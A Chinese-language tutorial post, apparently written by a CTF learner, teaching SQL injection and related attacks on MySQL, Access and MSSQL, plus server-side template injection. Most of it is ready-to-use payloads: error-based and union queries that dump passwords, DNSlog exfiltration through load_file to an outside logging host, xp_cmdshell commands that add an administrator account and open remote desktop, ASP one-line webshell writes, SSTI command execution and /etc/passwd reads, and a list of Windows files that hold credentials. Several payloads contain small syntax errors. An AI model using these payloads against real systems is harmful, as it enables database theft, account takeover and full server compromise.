SQL注入基础入门

前言

SQL注入是本散修学习过程中和刷CTF题整理的一些心得,现在看来感觉也还是入门,没有涉及到很多进阶的方式,后续有能力的话应该还会继续写一些过waf的进阶操作。

SQL注入基本操作

  • 原理:其实就是开发人员没有对提交上来的并且是与数据库交互的数据进行处理,然后导致拼接语句的时候没有按照本意的去执行SQL语句。

  • 如何寻找注入点:

    只要是与数据库打交道的都可以尝试,比如登录,注册,留言板,评论区,分页等等。

  • 注意URL编码

下面以介绍的各种sql注入都是以mysql的注入方式来介绍,后面介绍其他数据库就容易很多。

SQL注入类型分类

数字型

数字型就是你输入的数据是以数字的形式传到代码那边进行组合SQL语句,如果没有做任何防护的话可以随便组合我们需要的语句。

  • select username,email from member where id=1 or 1=1--+;
  • 注入语句:or 1=1--
    意思是通过一个永真条件就会将所有搜索到的信息传递出来,然后--是注释符号,避免后面还有什么拼接的条件语句,其他注释符号也行,常用是--,最好在后面多加一个空格,url的话就用+号代替空格。

字符型

输入的数据被当成字符,然后与其代码拼接sql语句, 如果没有做防范就会直接与用户穿上来的数据拼在一起,道理都是一样的,但是字符型就有点不同,由于是字符,所以在数据库中字符也是会有单引号双引号,一般都是使用单引号的居多,还需测试的人员进行多次尝试。

  • 网站代码中的语句通常是 'select id,email from member where username=$data;'
    $data是一个变量,然后代码中使用的是单引号将SQL语句引起来,所以当传输数据给data变量的时候将单引号也传进去的话就会将单引号闭合掉,data数据尾部再加上注释符号就刚好将后边的单引号注释掉就完全闭合了。
  • 注入语句:data=xx' or 1=1--+
    这样就是一个sql注入语句了,xx是随便字符的意思,因为有时候可能不允许出现条件为空的字符,随便输入一点然后拼接成一个完整的sql语句。

搜索型

就是模糊查询,本质都是一样的,这里讨论mysql,所以我们注入语句使用like,具体按实际的数据使用注入语句,但本质是一样的。模糊查询语句原本为:select * from user where like '%xxx%'; %是模糊查询的符号,所以也可以xxx%或者%xxx,%就代表任意多个字符。

  • 注入语句:
    • xxx%' or 1=1--+ #一般不会是%xxx or 1=1--+,因为模糊查询中,代码一般都带了%所以你%xxx没啥用,一般加在后面。xxx%,当然下面的%xxx%也是可以,都说了%是模糊查询标志符号,所以我们的多少个都行。
    • %xxx%' or 1=1--+

xx型

说明
这里我面试了几个面试官都说不知道,不太清楚是什么原因,但是我学到的确实有这个类型,那么各位道友如果我这里的类型名字有错误的话请一定要指出来。

xx型是因为代码里面会是这样写的:select * from user where username=('$name');也就是说会加一个括号括起来而已,那我们肯定也是可以应对的,只要我们传进去的数据能够将其括号闭合即可

  • 注入语句:
    xx') or 1=1--+

Json型

Json型其实就是上面几种类型输入数据换了一种方式而已,就是使用Json的类型将数据传进去,然后找到参数点后SQL注入姿势也还是数字型、字符型、搜索型。


这里需要抓包进行修改数据,json数据是写在post数据包里面的,我们抓包到数据将json数据修改成我们的注入语句即可。

  • json格式:{"id":"123"} #属性名一定一定!必须使用双引号,字符串数据也是严格使用双引号,不可以是单引号,不能使用十六进制作为数据,不能使用无定义即undefined
  • 注入语句:{”id“:"123 ' or 1=1--"} # 其他注入类型自己发挥

数据类型提交的方式

  • get

    直接修改url

  • post

    抓包修改数据

  • Cookie

    有的cookie也会和数据库打交道,在这里注入有时候也会出现意想不到的收获。

    但是这需要使用的注入语句是报错注入方式(报错注入后面会说),使用通常的sql注入看不出效果,

    一般都是使用:

    ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) --+

当然还有其他https头部都可以尝试

SQL注入的位置分类

只要后台使用这个数据和数据库打交道,那么都可能存在注入点,下面只举例子http header。

  • Http Header

    解释:因为有的企业会把user-agent等等请求头键值对也保存在数据库里面,也就说这些也可能会和数据库打交道,因为可以尝试在这里注入,但是请注入选择的注入一般是报错注入的方式来进行,因为这种一般都没有回显,所以通过报错的方式将其报出来。

    • 注入语句:(下面语句是可以直接放入user-agent:的后面,即下面是值部分)

      payload Mozilla' or updatexml(1,concat(0x7e,database()),0) or '

      其中database()在mysql数据库中能够将当前的数据库名字以报错的形式显示出来,这个报错语句也是mysql中的,可能其他的数据库会略有不同,只需要去网上查找即可,无须特地记忆。database()这个就是可以修改的,你可以修改成select的语句或者其他语句都行,达到你的目的即可,但是要考虑到开发人员可能对某些关键词做了防护。

      database()只是其中的内置函数,mysql还有其他,比如:

      • user() 查询当前登录数据库的用户
      • version() 当前数据库版本
    • 0x7e是~,只是为了方便显示的时候看得出来,你也可以用其他符号,但建议使用十六进制

报错注入

  • 介绍:
    在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。为什么要用函数报错呢,是因为我们上面学到的一些注入测试手段,可能看不到报错,被屏蔽或者处理了,就不好判断是否有注入点,所以我们学一下基于函数的报错。
    但是我按照自己的思路来一般都是先从最简单的sql注入开始测试,都行不通了才会开始要尝试报错注入。
    报错注入其实就是通过函数的形式,传入一些不规范的参数让其报错,将其错误信息报错出来,刚好错误信息使我们自己写的sql语句。
  • 常用的三个报错函数介绍:
    • updatexml()
      mysql对xml文档数据进行查询和修改的xpath函数,正好我们写自己的sql语句即可,不需要理会正确的咋写。
      但是这里就偏要介绍他的原本用法:updatexml(xml_document,xpath_string,new_value);作用就是在XML文档对象中,即给出的xml_document对象名称通过xpath的方式找,找到就用new_value替换
    • extractvalue()
      extractvalue(xml_document,xpath_string),通过xpath方式在xml_document文档对象中查到字符串进行返回,这函数比较苛刻,第一个参数一定要符合语法标签规则。比如<a><b>hello</b></a>,简而言之就是一定要有闭合标签,可以是你自己随便写的,闭合的一定要和你开头写的一样就行,语法符合即可。
    • floor()
      mysql用来对数据进行取整,学过编程应该都懂了。
    • 等等..还有很多函数可以进行报错注入。
  • updatexml()的注入用法
    updatexml(1,concat(0x7e,(select @@version,0x7e),1)--+
    concat是拼接字符串,刚好可以放在update中间的参数,中间参数是xpath_string字符串,很显然我们拼接出来的字符串肯定不是xpath,0x7e是~ ,我们自己希望注入的sql语句一定要用括号括起来,因为括号内是先执行的,才会将我们的想要的信息报错出来,就是让报错要有信息可报,最后报错出来的数据是 ~mysql数据库版本号~
  • extractvalue()的注入用法
    extractvalue(‘<a><b>hello</b></a>’, concat(1,(select @@version),1))--+,第一个参数一定要闭合标签,随便标签都行,同理concat里面的sql注入语句一定要先括号括起来让他先执行再报错。

报错注入实战案例

下面的顺序也是按照实际获取到的消息来拖库,一点点的拖信息。

  • 爆数据库版本信息:
    x' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

  • 爆数据库当前用户:
    x' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

  • 爆数据库:
    x' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

  • 爆表:
    mysql5.1版本及以上版本,mysql数据库中会存在一个叫做information_schema的默认数据库,这个库里面记录着整个mysql管理的数据库的名称、表名、列名(字段名)
    x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1)--+,一般都是限制报错信息一条而已,所以用limit进行限制。

  • 爆字段:
    x' and updatexml(1,concat(0x7e,(select column_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1)--+

  • 爆字段内容:
    x' and updatexml(1,concat(0x7e,(select passsword from users limit 0,1),0x7e),1)--+,到这里的时候已经是你完成拖库了,慢慢的拉去信息即可,因为你按照上面的步骤的话就是基本上数据库版本和数据库名字和表名字段名都晓得了。

SQL注入语句分类

insert注入

一般会出现在注册用户和发表内容,以post的方式提交数据的居多,所以需要抓包来注入payload,找到后其实就和平常的sql注入没啥区别了。

update注入

一般在已存在的用户中,需要修改个人信息或者修改发表的内容中,同insert出现的地方差不多,找到注入点后按照sql注入正常流程来拖库渗透即可。

delete注入

这个就是出现在评论区居多,且通常以get方式提交数据,因为删除一般通过id号码来删除评论,但具体问题具体分析。

编码

url编码:也叫做百分号编码,url仅仅保留 a-z A-Z 0-9 还有特殊字段 -_.~ 这四个可以直接出现在url地址上面作为数据。这几个 !$&'()*+,;= 是作为分隔符不是作为数据在url上出现的,然后剩下的其他都需要进行十六进制的编码然后前面加上%号作为url编码。

Url编码默认使用的字符集是US-ASCII。例如a在US-ASCII码中对应的字节是0x61,那么Url编码之后得到的就 是%61,我们在地址栏上输入http://g.cn/search?q=%61%62%63。

常见的url编码字符:

URL编码值 字符
%20 空格(+也代表空格)
%22 "
%23 #
%25 %
%26 &;
%27 '
%28 (
%29 )
%2B +
%2C ,
%2F /
%3A :
%3B ;
%3C <
%3D =
%3E >
%3F ?
%4o @
%5C \
%7C I

Tips:Mysql版本区别

mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema,mysql5.0以下没有information_schema库,只能通过暴力猜解的方式来获取数据,information_schema库里面包含了很多表,其中这几张表:schemata、tables、columns,这三张表依次分别存放着字段:(schema_name-库名)、(table_name-表名、table_schema-库名)、(table_schema-库名、table_name-表名、column_name-字段名),其次就是5.0以上都是多用户多操作,5.0以下是多用户单操作。

information_schema数据库详解

安全人员最重要的是要掌握三个表:schemata, tables, columns

tables的列:table_name table_schema   table_schema是所有table_name所属的不同数据库名
columns的列:table_schema  table_name column_name   table_schema是所有table_name所属的不同数据库名,table_name是所有table_column所属的不同表名。
schemata的列:就是schema_name  数据库表里面自然是数据库列名schema_name

其他注入手段

宽字节注入

宽字节注入方法目前看,仅仅适用于gbk编码的网站。

引入:有的网站会开启一些防护手段,防止我们通过url提交数据的时候进行sql注入,比如phpstudy中可以开启gpc后就会将我们sql注入的单引号'前面加一个\反斜杠,这样的话就会导致我们sql注入无效,我们的单引号就会被当成字符处理而不是闭合前面的单引号。

宽字节注入绕过反斜杠防护

既然会在单引号前面加一个反斜杠\,\的url编码是%5c,也就是十六进制的0x5c,现在告诉你中文需要两个十六进制来组成一个汉字你是否有头绪了?是的没错,宽字节注入就是通过与%5c能够结合成一个汉字的十六进制放进去就会被吃掉,所以我们的%5c就会与那个组成一个汉字,我们原本的sql语句就注入成功了。

举例:现在直接告诉你%df和%5c能够组合成一个運字,那么我们就可以这么些url:http://xxx/name=xx%df'+or+1=1--,这样的话在对方服务器中会在我们写入的单引号前面加上\,又因为\为%5c,正好和我们前面写的%df组起来了,在将数据翻译的时候对方服务器就会认为我们的%df%5c是運字,然后我们的'单引号又重见天日了得到解放。

偏移量注入

假设我们找到一个注入点,直到了该网站其中一个表名和其字段数量,可以通过该注入点知道该注入点的表数据。

举例子:比如已知users表,其中字段数量为3,但是注入点中使用另一个表数据来查询,我们的users表比该注入点中的表的字段数量少就可以完成偏移量注入。假设该注入点的表叫做b表,字段数量为7个。

下面是实际操作:

  • select * from b where id=$xx;

    xx就是一个注入点,我们可以随便一个数据的同时附加sql注入:union select *,1,2,3,4 from users

    • 解释:因为b表有7个字段数量,然后我们的users表只有三个字段,联合查询会数据库会报错,然后加上四个固定数值后能够补充上去符合7个字段数量联合查询出来就将我们的b表数据查出来了。
      (当然了,假设展示数据的代码不是将查到的数据循环出来而是只显示查询出来的第一条就须考虑如何写sql了,因为我们联合查询就是猜测代码会将我们查到的数据都循环打印出来,具体问题具体分析。)

加密注入

在渗透测试过程中发现网站的url上面或者post数据中有==结尾的一般是进行了 base64加密了,所以我们注入的时候可以将sql注入语句进行编码后加入到数据中去。其他加密方式类似,只是base64举个例子而已,因为==号一般情况下都是base64,且在现在比较 常用。

堆叠注入

实质就是通过mysql中以;结尾作为一句sql语句,然后我们在注入的时候就可以加上;以表示语句解释,然后在;后面就可以写我们自己的任意sql语句了。

  • 限制:堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。mysql中有些API是支持的,sqlserver都支持,oracle不支持。

联合注入

即找到注入点后使用union进行注入,其实这个不算手段只是使用mysql中的联合查询进行注入,能够将很多信息都拖出来,这个联合注入其实属于检测方法。

  • 获取某些表的所有列名:

    'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit

    其中table_name=0x7573657273为十六进制,这个不转成十六进制也可以table_name="users"

  • 获取某表的所有字段数据:

    ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

    0x7c表示 | 符号,其实就是用过|将所有字段数据拼接到一起进行显示

二次注入

这个原理就是往数据库里面放入脏数据然后再使用的时候让脏数据触发。我们的脏数据会在代码中被处理,比如'单引号在进入代码取数据拼接的时候会在前面加一个\,但是无伤大雅,因为在存入数据库的时候会将\除掉,这是因为判断非法字符的只有代码拼接的时候帮你转义而已,存入数据的时候还是会把你原来的数据存进去。利用这一点我们就可以使用该特点做一些其他事情。比如下面的例子。

举例:假设我们有一个超级管理员名字叫做admin

  • 注册的时候注册一个名字叫admin'#的名字,不管代码他是否转义最终如果可以存进数据库都会叫这个名字。
  • 注册成功后去到修改密码的界面,然后修改密码提交上去的数据会把你用户名作为条件进行提交上去,因为改的是你自己的密码,但好巧不巧了,你的用户名中有admin且后面是' #,正好把前面的单引号闭合,且#是注释符号注释掉了后面的东西,这时候修改的就是admin的账号的密码了,这样就可以登录admin的账号 了,你已经修改了他的密码。
  • 这就是一个简单的二次注入例子,通过利用脏数据进行修改他人密码。

中转注入

本质就是你使用另一台代理,代理上面有你写好的转发代码,你主机将payload转发到代理上面写好的代码中,代理主机的代码就会帮你转发你的payload到目标主机上面,完成的任务其实就是隐藏身份

伪静态注入

注入方式比较苛刻

详情推荐看这位博主的博客:伪静态注入的总结

盲注

Bool布尔型盲注

到了这一步的话最好按部就班的顺序进行测试,否则真的盲目注入了,注入没有效果再一步一步往后进行。

  • 按照注入类型注入(数字、字符、xx...)
  • 报错注入
  • bool注入判断真假:
    • select ascii(substr(database(),1,1))>61; 通过对比ascii码的长度,判断出数据库表名的第一个字符。
    • 判断表名长度为7?:vince' and select length(database())=7#

base on time(时间型注入)

mysql中有一个休眠函数,sleep(秒数),只要我们能够将sleep注入,通过组合另一个判断语句就可以知道是否正确,判断标准就是sleep是否执行了,休眠时间触发的话会很明显的就知道。
比如:vince' and if(substr(database(),1,1)='p',sleep(10),null)#表示如果数据库第一个字符是p的话就会执行sleep语句直接休眠10秒,否则null不执行什么,这样我们就通过时间就判断出来是否数据库名字第一个字符是否是p了。这就是时间型注入。
如果sleep被防御了,可以使用benchmark。 benchmark是mysql的内置函数,是将MD5(1)执行10000000次以达到延迟的效果。

DNSlog注入

  • 这种方式比较高级,注入的sql语句要求mysql的配置文件中开启了secure_file_priv="",配置文件中没有这一项就无法使用DNSlog注入。

  • 具备DNSlog日志记录功能的网站A我们不用自己搭建,可以采用如下三个,当然如果你想自己搭建也是可以的:
    http://ceye.io/ #知道创宇公司提供的
    http://www.dnslog.cn/ #Ke学 上网
    http://admin.dnslog.link #这个好像不太好用了

  • 通过mysql的load_file()函数来触发dns注入,首先load_file能够加载本地文件,也能发起url请求,正是能够发起url请求,所以我们可以将我们申请到的dns日志记录网站。(假设申请到的dns日志网站是:9fqiop.ceye.io/abc)

    • 语句如:select load_file('\\\\xxx.xxx.xxx\\xx');
      其中\\\\xxx.xxx.xxx\\xx是我们搭建或者申请到的dns网址
      可以去专门申请到的dns网站看日志,有记录的话就可以正是写我们所需的sql注入语句了,上面的注入语句没有做什么事情。

    • 注入语句:
      下面是为了绕过代码才使用concat拼接的,也可以先用正常的select load_file('\\xxx.xxx.xxx\xx')看看有没有通过服务端的检查。

      • 获取库名: and (select load_file(concat('//',(select database()),'.9fqiop.ceye.io/abc')))
      • 获取表名:and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9fqiop.ceye.io\\abc')))修改limit后面的数字即可将每个表名都查出来

说明:这里\\是因为要转义字符,所以最终会变成\
那么我们使用//也是可以,这样就不用转义了。

其他数据库注入

Access数据库

特性:暴力猜解名字,Access中没有什么好办法

  • 爆表:...and exist(select * from $表名)

  • 爆字段:...and exist(select $字段名 from 已知表名)

  • 爆字段内容的长度
    1、...and (select top 1 len(字段名) from 表名) > $猜测的长度
    2、order by n 如果n-1时返回正常,n时返回错误,那么说明字段数目为n

  • 爆字段数据内容:
    1、...and (select top 1 asc(mid(字段名,起始位,截取的位数)) from 表名) > $?
    ($?代表ascii码,判断大小可知字母,若判断到小于0说明是汉字,$字符下标是可变,后面长度一般都是1)
    mid(字符串,起始位,截取的位数)该函数中起始位是从1开始不是从0开始
    例如:
    mid(“abcdef”,2,3)
    结果是bcd
    2、前提是已知了该表的字段个数,这是通过order by测试出来后才可以用下面的方法
    假设已知我们通过order by测试出来了administrator表有7个字段


    注入语句为:...and 1=2 union select 1, 2, 3...., 7 from 表名,上图所示就是看到2 3 7 5 显示出来了,表示我们知道该表那些字段显示被后端取出来显示了,那么在通过已知的字段名放在对应显示的数字上面就可以取出来数据了。
    ​ 例如:...and 1=2 union select 1,username,password,4,5,6,7 from 表名,这样就会在对应的位置上面显示出来你的字段名内容。当然也可以放在7和5上面,测试的时候是 2375都显示了。所以我们这样就会很简单的拿到了数据不用一个字母一个字母的取出来。

  • 若通过注入拿到后台管理员用户的账号密码

    • 使用7kb或御剑攻击扫描目录:有可能会拿到后台登录页面,直接用账号密码登录即可。

小提示: Access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf ,不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

MSSQL数据库(SqlServer)

MS微软的简写,因此是使用SQLServer软件作为数据库。

数据库介绍:

  • 三大权限:sa, dbowner, public (最高权限是sa)
  • 可以采用与Access注入的相同原理与方法
  • Mssql默认端口是1433
  • Mssql默认允许远程连接

sa权限注入

  • 判断该网站中是否使用了:

    ...and 1=(select IS _SRVROLEMEMBER('sysadmin')) # 可能这个语句判断有误

    若页面没有报错则为sa权限

  • 介绍xp_cmdshell:

    xp_cmdshell是mssql数据库的扩展存储功能,这个功能可以直接执行操作系统的指令(ipconfig、pwd等等),默认情况下这个功能是禁用状态的,所以我们先要看看是否开启了,但我们需要打开的时候,我们可以自行打开,但是这个功能只能是sa这样的权限用户才能开启,所以前面判断了是否为sa用户权限部署的,dbowner、public等权限都是不能开启。

  • 判断xp_cmdshell存储过程:

    ...and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell')

    若页面没有报错则开启了,否则就需要我们sql注入的形式进行打开一下这个功能。

  • 恢复xp_cmdshell:(注意下面是一条语句执行,不是多条)

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

  • 开启了xp_cmdshell就可以为所欲为了:

    • 添加用户:

      ;exec master..xp_cmdshell 'net user 用户名 密码 /add'

    • 自己的用户添加到管理员组:

      ;exec master..xp_cmdshell 'net localgroup administrators 你创建的用户名 密码 /add'

    • 开启3389windows的远程连接端口:

      已经是管理员组的用户了,想远程控制你的电脑,就可以开启3389端口,默认远程桌面是关闭的。下面的是通过cmd指令修改注册表的一个选项来开启3389。(注意下面是一条语句,不是多条)

      ;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

      完成开启,直接通过ip地址可以连上目标主机。

    • 其他指令:

      ;exec master..xp_cmdshell '$其他指令在这里写'

dbowner权限注入

!!!!!!!!!!!前提是开启了xp_cmdshell

注入思路:首先找到可注入的并且有报错的页面,需要知道该页面在对方服务器里面的文件名。通过注入来创建一个不重名的表,字段名自己定义。xp_cmdshell 正常执行 dir /s 该报错页面的文件名,就会出现他的路径(不信你可以用cmd试试),然后将该信息insert到我们自己创建的table中,那这样我们又可以通过组合sql注入和报错的形式,将我们存进去的路径信息通过我们自己创建的表信息报错出来,有了该路径,就可以往存放该错误页面路径的目录下面使用xp_cmdshell执行创建webshell的文件,然后就可以控制目标服务器了。

  • 判断是否为dbowner权限

    and 1=(SELECT IS_MEMBER('db_owner'));-- # 同理可能会判断错误

  • 寻找可sql注入且有报错信息返回的页面(目的是将报错信息插入到我们自己创建的表)

    这里的报错信息

    通过7kb、穿山甲来找,或者可以通过高级搜索的方式搜寻该页面的其他有报错的页面

  • 在目标服务器上创建一个表

    create table black result varchar(7996) null, id int not null identity (1,1)--

  • 通过报错信息插入到我们自己创建的表中

    insert into black exec master..xp_cmdshell 'dir /s 该页面的文件名'--

  • 通过查询我们保存的信息,然后将路径报错出来,因为查到的信息肯定有,但是故意让他报错,将我们查到的信息报出来(这个方法很巧妙,值得细细品味)

    and (select result from black where id=4)>0-- #首先查出来的数据是字符串和0比较肯定错误,所以就会将我们查到的信息报错出来。那这个信息就是我们需要的当前访问的页面的url下的目录了,我们就可以通过xp_cmdshell创建webshell。

  • 通过xp_cmdshell创建文件到我们上面报错出来的路径中去,该文件写上一句话木马,然后就可以在该网址下连接我们的webshell了

    ;exec master..xp_cmdshell 'echo "<%eval request("jaden")%>" >> 报错的路径\你的木马文件名'--

  • 该权限还可以进行数据库备份(当然sa肯定可以,只是sa都直接连上主机了那就不用这个了)

    当然也是需要知道目录信息,不然你备份好了也不知道去哪取出来。

    ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='c:\www\iisaspx\yjh.asp';alter database testdb set RECOVERY simple

public权限注入

  • 获取当前网站数据库名称

    and db_name()=0--

    • 获取所有数据库名:

      and 1=(select db_name()) --+

      and 1=(select db_name(1)) --+

      and 1=(select db_name(2)) --+

      ...

  • 获取当前数据库所有表名(当然前提是你知道了当前数据库名)

    and (select top 1 name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top i name from 当前数据库.sys.all_objects where type='U' AND is_ms_shipped=0))>0--

    //修改i的值来查看

  • 获取表名和字段名

    • having 1=1--

      这个不用加and直接空格having接上就行,例如:http://.........?xx=1 having 1=1--

      下面两个也是一样不用加and写法和这个一样。

    • group by 表名.已知字段名 having 1=1--

      这个是在第一个指令下已知了一个字段了才能用该指令,这样又一个字段名出来了

    • group by 表名.字段名1,表名.字段名2 having 1=1--

      这个就很清楚了,就是找第三个字段,因为已知了两个字段

  • 获取字段内容(不建议使用,很麻烦)

    举一个例子,但是里面的变量需要自己找找,换一下。
    (这里用了一些绕过waf的手段,比如注释干扰/**/和编码绕过)
    /**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32)%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id)%3E0/**/and/**/1=1

当然如果拿到了public最好还是使用工具。

SQL注入扩展

SSTI漏洞

SSTI(Server-Side Template Injection) 服务端模板注入,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。

通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。

python语言开发的网站,比如response的server像这样:


那么就可以使用SSTI漏洞注入

常见SSTI注入payload

1、获取’‘的类对象:''.__class__
2、追溯继承树:''.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:''.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> 'file',执行命令:''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

payload构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类

常用payload
python3
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('1.py').read()}}
- 命令执行:{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

python2
- 文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- 文件读取:().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines
- 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
- 写文件:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()"
- 命令执行:{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 
 

python2、python3共有的,且可命令执行的payload:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

SSTI tornado render模板注入

使用tornado的服务器就是使用python语言进行编写的。所以可以采用ssti注入方式。

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
{{handler.settings}}

还有几种获取config的方式
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

效果如下:

handler查询

handler 可以在 select 被过滤后有效的进行sql注入。

下面是官方给出的查询方法(了解即可):

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

!!!注意:as alias是起别名的意思,你起完别名后,后面的语句都是使用你这个别名来构造语句!!!


下面是常用的读取方法:

  • 第一种:直接通过表名读取列的数据。

    原理就是将对应的table进行open后,即对应这条指令:index_name

    开始读取,通过first、next、prev、last进行偏移,这里的偏移是从你open之后开始的,所以我们读取完需要有一个close的操作

    读取完就close:handler table_name close;

    handler table_name open [[as] alias];
    handler table_name read [first | next | prev | last];
    handler table_name close;
    
  • 第二种:通过索引表读取。

    原理是通过你创建好的索引表进行读取数据,也是open之后像指针一样进行偏移。

    handler table_name open [[as] alias];
    handler table_name read index_name [first | next | prev | last];
    handler table_name close;
    
  • 第三种:通过索引表但是指定下标开始读取。(可以范围读取)

    原理其实也是通过索引表读取,但是这里可以通过指定索引表第几行数据读取出来,或者某个范围内读取出来。

    handler table_name open [[as] alias];
    handler table_name read index_name = (id);  //id就是第几行
    handler table_name read index_name [first | next | prev | last];  //在你定位完后还可以继续使用这个进行偏移
    handler table_name close;  //记得也要关闭handler
    

读取与写入

Mysql

x' union select 1,'一句话木马等等' into output "路径"

show方式

在mysql中还能够使用show来获取数据库的所有表名、获取表的所有列名。(当然前提就是你知道数据库名了才能show表名,同理获取列名就要给出show的表名)

1. show tables 或 show tables from database_name; -- 显示当前数据库中所有表的名称。 
2. show databases; -- 显示mysql中所有数据库的名称。 
3. show columns from table_name from database_name; 或show columns from database_name.table_name; -- 显示表中列名称。 
4. show grants for user_name; -- 显示一个用户的权限,显示结果类似于grant 命令。 
5. show index from table_name; -- 显示表的索引。 
6. show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。 
7. show variables; -- 显示系统变量的名称和值。 
8. show processlist; -- 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。 
9. show table status; -- 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。 
10. show privileges; -- 显示服务器所支持的不同权限。 
11. show create database database_name; -- 显示create database 语句是否能够创建指定的数据库。 
12. show create table table_name; -- 显示create database 语句是否能够创建指定的数据库。 
13. show engines; -- 显示安装以后可用的存储引擎和默认引擎。 
14. show innodb status; -- 显示innoDB存储引擎的状态。 
15. show logs; -- 显示BDB存储引擎的日志。 
16. show warnings; -- 显示最后一个执行的语句所产生的错误、警告和通知。 
17. show errors; -- 只显示最后一个执行语句所产生的错误。 
18. show [storage] engines; --显示安装后的可用存储引擎和默认引擎。

-- 可以通过查询数据库存储路径和数据库日志路径猜测网站的物理路径
select @@datadir;
SHOW GLOBAL VARIABLES LIKE '%log%';

读取数据库用户密码

这个方式不常用,因为很难遇到能够成功读取到的。

select * from mysql.user\G;
select * from mysql.user where user='root'\G;

注入读取常见文件路径

在php中能够通过执行phpinfo函数或者读取到该文件就能够获取到网站的真实路径。

select load_file('绝对路径');

windows

c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
